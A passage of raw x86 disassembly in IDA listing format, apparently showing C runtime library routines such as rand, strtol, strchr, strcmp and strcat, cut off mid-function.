push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C2A6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C2B3 ; --------------------------------------------------------------------------- loc_41C2A6: ; CODE XREF: sub_41C266+36j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41C2B3: ; CODE XREF: sub_41C266+3Ej mov eax, esi pop esi leave retn sub_41C266 endp ; =============== S U B R O U T I N E ======================================= sub_41C2B8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+315Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43AE00, eax retn sub_41C2B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C2C2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43AE00 imul eax, 343FDh add eax, 269EC3h mov dword_43AE00, eax sar eax, 10h and eax, 7FFFh retn sub_41C2C2 endp ; =============== S U B R O U T I N E ======================================= sub_41C2E0 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41C35A mov dh, [ecx+1] test dh, dh jz short loc_41C347 loc_41C2F8: ; CODE XREF: sub_41C2E0+52j ; sub_41C2E0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41C31A test al, al jz short loc_41C314 loc_41C309: ; CODE XREF: sub_41C2E0+32j mov al, [esi] inc esi loc_41C30C: ; CODE XREF: sub_41C2E0+3Fj cmp al, dl jz short loc_41C31A test al, al jnz short loc_41C309 loc_41C314: ; CODE XREF: sub_41C2E0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C31A: ; CODE XREF: sub_41C2E0+23j ; sub_41C2E0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41C30C lea edi, [esi-1] loc_41C324: ; CODE XREF: sub_41C2E0+63j mov ah, [ecx+2] test ah, ah jz short loc_41C353 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41C2F8 mov al, [ecx+3] test al, al jz short loc_41C353 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41C324 jmp short loc_41C2F8 ; --------------------------------------------------------------------------- loc_41C347: ; CODE XREF: sub_41C2E0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C996 ; --------------------------------------------------------------------------- loc_41C353: ; CODE XREF: sub_41C2E0+49j ; sub_41C2E0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41C35A: ; CODE XREF: sub_41C2E0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41C2E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C360 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C15p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C39F mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C3AC ; --------------------------------------------------------------------------- loc_41C39F: ; CODE XREF: sub_41C360+35j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41C3AC: ; CODE XREF: sub_41C360+3Dj mov eax, esi pop esi leave retn sub_41C360 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C3B1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+2177p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41B9C0 cmp eax, 1 pop ecx jb short loc_41C3EC cmp byte ptr [ebx+1], 3Ah jnz short loc_41C3EC mov esi, [ebp+arg_4] test esi, esi jz short loc_41C3E8 push 2 push ebx push esi call sub_420B29 add esp, 0Ch and byte ptr [esi+2], 0 loc_41C3E8: ; CODE XREF: sub_41C3B1+25j inc ebx inc ebx jmp short loc_41C3F6 ; --------------------------------------------------------------------------- loc_41C3EC: ; CODE XREF: sub_41C3B1+18j ; sub_41C3B1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41C3F6 and byte ptr [eax], 0 loc_41C3F6: ; CODE XREF: sub_41C3B1+39j ; sub_41C3B1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41C46E loc_41C409: ; CODE XREF: sub_41C3B1+87j mov cl, [eax] movzx edx, cl test byte_4DD261[edx], 4 jz short loc_41C41A inc eax jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C41A: ; CODE XREF: sub_41C3B1+64j cmp cl, 2Fh jz short loc_41C42E cmp cl, 5Ch jz short loc_41C42E cmp cl, 2Eh jnz short loc_41C434 mov [ebp+var_4], eax jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C42E: ; CODE XREF: sub_41C3B1+6Cj ; sub_41C3B1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41C434: ; CODE XREF: sub_41C3B1+67j ; sub_41C3B1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41C409 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41C46E cmp [ebp+arg_8], 0 jz short loc_41C469 sub edi, ebx cmp edi, esi jb short loc_41C452 mov edi, esi loc_41C452: ; CODE XREF: sub_41C3B1+9Dj push edi push ebx push [ebp+arg_8] call sub_420B29 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C469: ; CODE XREF: sub_41C3B1+97j mov ebx, [ebp+arg_4] jmp short loc_41C478 ; --------------------------------------------------------------------------- loc_41C46E: ; CODE XREF: sub_41C3B1+56j ; sub_41C3B1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41C478 and byte ptr [ecx], 0 loc_41C478: ; CODE XREF: sub_41C3B1+BBj ; sub_41C3B1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41C4CB cmp edi, ebx jb short loc_41C4CB cmp [ebp+arg_C], 0 jz short loc_41C4A8 sub edi, ebx cmp edi, esi jb short loc_41C491 mov edi, esi loc_41C491: ; CODE XREF: sub_41C3B1+DCj push edi push ebx push [ebp+arg_C] call sub_420B29 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C4A8: ; CODE XREF: sub_41C3B1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41C4F3 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41C4B8 mov esi, eax loc_41C4B8: ; CODE XREF: sub_41C3B1+103j push esi push [ebp+var_4] push edi call sub_420B29 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41C4F3 ; --------------------------------------------------------------------------- loc_41C4CB: ; CODE XREF: sub_41C3B1+CCj ; sub_41C3B1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41C4E9 sub eax, ebx cmp eax, esi jnb short loc_41C4DA mov esi, eax loc_41C4DA: ; CODE XREF: sub_41C3B1+125j push esi push ebx push edi call sub_420B29 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41C4E9: ; CODE XREF: sub_41C3B1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41C4F3 and byte ptr [eax], 0 loc_41C4F3: ; CODE XREF: sub_41C3B1+FCj ; sub_41C3B1+118j ... pop edi pop esi pop ebx leave retn sub_41C3B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C500 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41C520 loc_41C50C: ; CODE XREF: sub_41C500+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41C50C loc_41C520: ; CODE XREF: sub_41C500+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41C500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C52F proc near ; CODE XREF: sub_401ACD+73F5p ; sub_401ACD+7424p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41C543 xor eax, eax jmp short loc_41C579 ; --------------------------------------------------------------------------- loc_41C543: ; CODE XREF: sub_41C52F+Ej dec [ebp+arg_4] push esi jz short loc_41C573 mov esi, [ebp+arg_8] loc_41C54C: ; CODE XREF: sub_41C52F+42j dec dword ptr [esi+4] js short loc_41C55B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41C562 ; --------------------------------------------------------------------------- loc_41C55B: ; CODE XREF: sub_41C52F+20j push esi call sub_41F8E3 pop ecx loc_41C562: ; CODE XREF: sub_41C52F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41C57D mov [edi], al inc edi cmp al, 0Ah jz short loc_41C573 dec [ebp+arg_4] jnz short loc_41C54C loc_41C573: ; CODE XREF: sub_41C52F+18j ; sub_41C52F+3Dj ... and byte ptr [edi], 0 loc_41C576: ; CODE XREF: sub_41C52F+55j mov eax, ebx pop esi loc_41C579: ; CODE XREF: sub_41C52F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41C57D: ; CODE XREF: sub_41C52F+36j cmp edi, [ebp+arg_0] jnz short loc_41C573 xor ebx, ebx jmp short loc_41C576 sub_41C52F endp ; =============== S U B R O U T I N E ======================================= sub_41C586 proc near ; CODE XREF: ___:0041E645p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C59D add esp, 10h retn sub_41C586 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C59D proc near ; CODE XREF: sub_41C586+Ep ; sub_41C7A5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41C5B5: ; CODE XREF: sub_41C59D+46j cmp dword_43D084, 1 jle short loc_41C5CD movzx eax, bl push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_41C5DC ; --------------------------------------------------------------------------- loc_41C5CD: ; CODE XREF: sub_41C59D+1Fj mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41C5DC: ; CODE XREF: sub_41C59D+2Ej test eax, eax jz short loc_41C5E5 mov bl, [esi] inc esi jmp short loc_41C5B5 ; --------------------------------------------------------------------------- loc_41C5E5: ; CODE XREF: sub_41C59D+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41C5F3 or [ebp+arg_C], 2 jmp short loc_41C5F8 ; --------------------------------------------------------------------------- loc_41C5F3: ; CODE XREF: sub_41C59D+4Ej cmp bl, 2Bh jnz short loc_41C5FE loc_41C5F8: ; CODE XREF: sub_41C59D+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41C5FE: ; CODE XREF: sub_41C59D+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41C795 cmp eax, 1 jz loc_41C795 cmp eax, 24h jg loc_41C795 push 10h test eax, eax pop ecx jnz short loc_41C646 cmp bl, 30h jz short loc_41C630 mov [ebp+arg_8], 0Ah jmp short loc_41C662 ; --------------------------------------------------------------------------- loc_41C630: ; CODE XREF: sub_41C59D+88j mov al, [esi] cmp al, 78h jz short loc_41C643 cmp al, 58h jz short loc_41C643 mov [ebp+arg_8], 8 jmp short loc_41C662 ; --------------------------------------------------------------------------- loc_41C643: ; CODE XREF: sub_41C59D+97j ; sub_41C59D+9Bj mov [ebp+arg_8], ecx loc_41C646: ; CODE XREF: sub_41C59D+83j cmp [ebp+arg_8], ecx jnz short loc_41C662 cmp bl, 30h jnz short loc_41C662 mov al, [esi] cmp al, 78h jz short loc_41C65A cmp al, 58h jnz short loc_41C662 loc_41C65A: ; CODE XREF: sub_41C59D+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41C662: ; CODE XREF: sub_41C59D+91j ; sub_41C59D+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41C672: ; CODE XREF: sub_41C59D+16Cj cmp dword_43D084, 1 movzx esi, bl jle short loc_41C68A push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C695 ; --------------------------------------------------------------------------- loc_41C68A: ; CODE XREF: sub_41C59D+DFj mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_41C695: ; CODE XREF: sub_41C59D+EBj test eax, eax jz short loc_41C6A1 movsx ecx, bl sub ecx, 30h jmp short loc_41C6D3 ; --------------------------------------------------------------------------- loc_41C6A1: ; CODE XREF: sub_41C59D+FAj cmp dword_43D084, 1 jle short loc_41C6B5 push edi push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C6C0 ; --------------------------------------------------------------------------- loc_41C6B5: ; CODE XREF: sub_41C59D+10Bj mov eax, off_43CE78 mov ax, [eax+esi*2] and eax, edi loc_41C6C0: ; CODE XREF: sub_41C59D+116j test eax, eax jz short loc_41C70E movsx eax, bl push eax call sub_420BB3 pop ecx mov ecx, eax sub ecx, 37h loc_41C6D3: ; CODE XREF: sub_41C59D+102j cmp ecx, [ebp+arg_8] jnb short loc_41C70E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41C6F8 jnz short loc_41C6F2 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41C6F8 loc_41C6F2: ; CODE XREF: sub_41C59D+147j or [ebp+arg_C], 4 jmp short loc_41C701 ; --------------------------------------------------------------------------- loc_41C6F8: ; CODE XREF: sub_41C59D+145j ; sub_41C59D+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41C701: ; CODE XREF: sub_41C59D+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41C672 ; --------------------------------------------------------------------------- loc_41C70E: ; CODE XREF: sub_41C59D+125j ; sub_41C59D+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41C72C test edx, edx jz short loc_41C726 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41C726: ; CODE XREF: sub_41C59D+181j and [ebp+var_8], 0 jmp short loc_41C779 ; --------------------------------------------------------------------------- loc_41C72C: ; CODE XREF: sub_41C59D+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41C752 test cl, 1 jnz short loc_41C779 and ecx, 2 jz short loc_41C749 cmp [ebp+var_8], 80000000h ja short loc_41C752 loc_41C749: ; CODE XREF: sub_41C59D+1A1j test ecx, ecx jnz short loc_41C779 cmp [ebp+var_8], eax jbe short loc_41C779 loc_41C752: ; CODE XREF: sub_41C59D+197j ; sub_41C59D+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DBDDC, 22h jz short loc_41C768 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41C779 ; --------------------------------------------------------------------------- loc_41C768: ; CODE XREF: sub_41C59D+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41C779: ; CODE XREF: sub_41C59D+18Dj ; sub_41C59D+19Cj ... test edx, edx jz short loc_41C782 mov eax, [ebp+var_4] mov [edx], eax loc_41C782: ; CODE XREF: sub_41C59D+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41C790 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41C790: ; CODE XREF: sub_41C59D+1E9j mov eax, [ebp+var_8] jmp short loc_41C7A0 ; --------------------------------------------------------------------------- loc_41C795: ; CODE XREF: sub_41C59D+66j ; sub_41C59D+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41C79E mov [eax], edi loc_41C79E: ; CODE XREF: sub_41C59D+1FDj xor eax, eax loc_41C7A0: ; CODE XREF: sub_41C59D+1F6j pop edi pop esi pop ebx leave retn sub_41C59D endp ; =============== S U B R O U T I N E ======================================= sub_41C7A5 proc near ; CODE XREF: sub_401ACD+60F0p ; sub_401ACD+6931p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C59D add esp, 10h retn sub_41C7A5 endp ; =============== S U B R O U T I N E ======================================= sub_41C7BC proc near ; CODE XREF: sub_401ACD+58ADp arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 26801F9h test eax, eax jnz short loc_41C7D2 nop call near ptr 2680972h jmp short loc_41C7D4 ; --------------------------------------------------------------------------- loc_41C7D2: ; CODE XREF: sub_41C7BC+Cj xor eax, eax loc_41C7D4: ; CODE XREF: sub_41C7BC+14j test eax, eax jz short loc_41C7E3 push eax call sub_420C7F pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41C7E3: ; CODE XREF: sub_41C7BC+1Aj xor eax, eax retn sub_41C7BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7E6 proc near ; CODE XREF: sub_401ACD+5801p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420CE6 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41FF3F push [ebp+arg_0] mov edi, eax push esi call sub_420D73 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41C7E6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C820 proc near ; CODE XREF: sub_401ACD+1E1Fp ; sub_401ACD+1E3Ep ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41C841 xor eax, eax jmp short loc_41C843 ; --------------------------------------------------------------------------- loc_41C841: ; CODE XREF: sub_41C820+1Bj mov eax, edi loc_41C843: ; CODE XREF: sub_41C820+1Fj cld pop edi leave retn sub_41C820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C850 proc near ; CODE XREF: sub_401ACD+854p ; ___:0041E5BDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41C881 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41C87F jz short loc_41C881 dec ecx dec ecx loc_41C87F: ; CODE XREF: sub_41C850+29j not ecx loc_41C881: ; CODE XREF: sub_41C850+9j ; sub_41C850+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41C850 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C890 proc near ; CODE XREF: sub_401ACD+42Dp ; sub_401ACD+2FB3p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C901 sub_41C890 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C8A0 proc near ; CODE XREF: sub_401ACD+436p ; sub_401ACD+746Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C8BC loc_41C8AD: ; CODE XREF: sub_41C8A0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41C8EF test ecx, 3 jnz short loc_41C8AD loc_41C8BC: ; CODE XREF: sub_41C8A0+Bj ; sub_41C8A0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C8BC mov eax, [ecx-4] test al, al jz short loc_41C8FE test ah, ah jz short loc_41C8F9 test eax, 0FF0000h jz short loc_41C8F4 test eax, 0FF000000h jz short loc_41C8EF jmp short loc_41C8BC ; --------------------------------------------------------------------------- loc_41C8EF: ; CODE XREF: sub_41C8A0+12j ; sub_41C8A0+4Bj lea edi, [ecx-1] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8F4: ; CODE XREF: sub_41C8A0+44j lea edi, [ecx-2] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8F9: ; CODE XREF: sub_41C8A0+3Dj lea edi, [ecx-3] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8FE: ; CODE XREF: sub_41C8A0+39j lea edi, [ecx-4] loc_41C901: ; CODE XREF: sub_41C890+5j ; sub_41C8A0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C926 loc_41C90D: ; CODE XREF: sub_41C8A0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41C978 mov [edi], dl inc edi test ecx, 3 jnz short loc_41C90D jmp short loc_41C926 ; --------------------------------------------------------------------------- loc_41C921: ; CODE XREF: sub_41C8A0+9Ej ; sub_41C8A0+B8j mov [edi], edx add edi, 4 loc_41C926: ; CODE XREF: sub_41C8A0+6Bj ; sub_41C8A0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C921 test dl, dl jz short loc_41C978 test dh, dh jz short loc_41C96F test edx, 0FF0000h jz short loc_41C962 test edx, 0FF000000h jz short loc_41C95A jmp short loc_41C921 ; --------------------------------------------------------------------------- loc_41C95A: ; CODE XREF: sub_41C8A0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C962: ; CODE XREF: sub_41C8A0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C96F: ; CODE XREF: sub_41C8A0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C978: ; CODE XREF: sub_41C8A0+72j ; sub_41C8A0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C8A0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C990 loc_41C980: ; CODE XREF: sub_41C990+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C990 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C990 proc near ; CODE XREF: sub_401ACD+412p ; sub_401ACD+4B9p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C996: ; CODE XREF: sub_41C2E0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C9BB loc_41C9A8: ; CODE XREF: sub_41C990+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41C980 test cl, cl jz short loc_41CA04 test edx, 3 jnz short loc_41C9A8 loc_41C9BB: ; CODE XREF: sub_41C990+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C9C6: ; CODE XREF: sub_41C990+61j ; sub_41C990+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41CA08 and eax, 81010100h jz short loc_41C9C6 and eax, 1010100h jnz short loc_41CA02 and esi, 80000000h jnz short loc_41C9C6 loc_41CA02: ; CODE XREF: sub_41C990+68j ; sub_41C990+81j ... pop esi pop edi loc_41CA04: ; CODE XREF: sub_41C990+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41CA08: ; CODE XREF: sub_41C990+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41CA45 test al, al jz short loc_41CA02 cmp ah, bl jz short loc_41CA3E test ah, ah jz short loc_41CA02 shr eax, 10h cmp al, bl jz short loc_41CA37 test al, al jz short loc_41CA02 cmp ah, bl jz short loc_41CA30 test ah, ah jz short loc_41CA02 jmp short loc_41C9C6 ; --------------------------------------------------------------------------- loc_41CA30: ; CODE XREF: sub_41C990+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41CA37: ; CODE XREF: sub_41C990+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41CA3E: ; CODE XREF: sub_41C990+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41CA45: ; CODE XREF: sub_41C990+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41CA50 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41CA9C loc_41CA60: ; CODE XREF: sub_41CA50+3Cj ; sub_41CA50+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+1] jnz short loc_41CA94 or ah, ah jz short loc_41CA90 shr eax, 10h cmp al, [ecx+2] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+3] jnz short loc_41CA94 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41CA60 mov edi, edi loc_41CA90: ; CODE XREF: sub_41CA50+18j ; sub_41CA50+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41CA94: ; CODE XREF: sub_41CA50+14j ; sub_41CA50+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41CA9C: ; CODE XREF: sub_41CA50+Ej test edx, 1 jz short loc_41CAB8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41CA94 inc ecx or al, al jz short loc_41CA90 test edx, 2 jz short loc_41CA60 loc_41CAB8: ; CODE XREF: sub_41CA50+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+1] jnz short loc_41CA94 or ah, ah jz short loc_41CA90 add ecx, 2 jmp short loc_41CA60 sub_41CA50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAD4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41CAED: ; CODE XREF: sub_41CAD4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41CAED mov edx, [ebp+arg_0] test edx, edx jnz short loc_41CB15 mov edx, dword_4DBE28 loc_41CB15: ; CODE XREF: sub_41CAD4+39j ; sub_41CAD4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41CB35 test al, al jz short loc_41CB35 inc edx jmp short loc_41CB15 ; --------------------------------------------------------------------------- loc_41CB35: ; CODE XREF: sub_41CAD4+58j 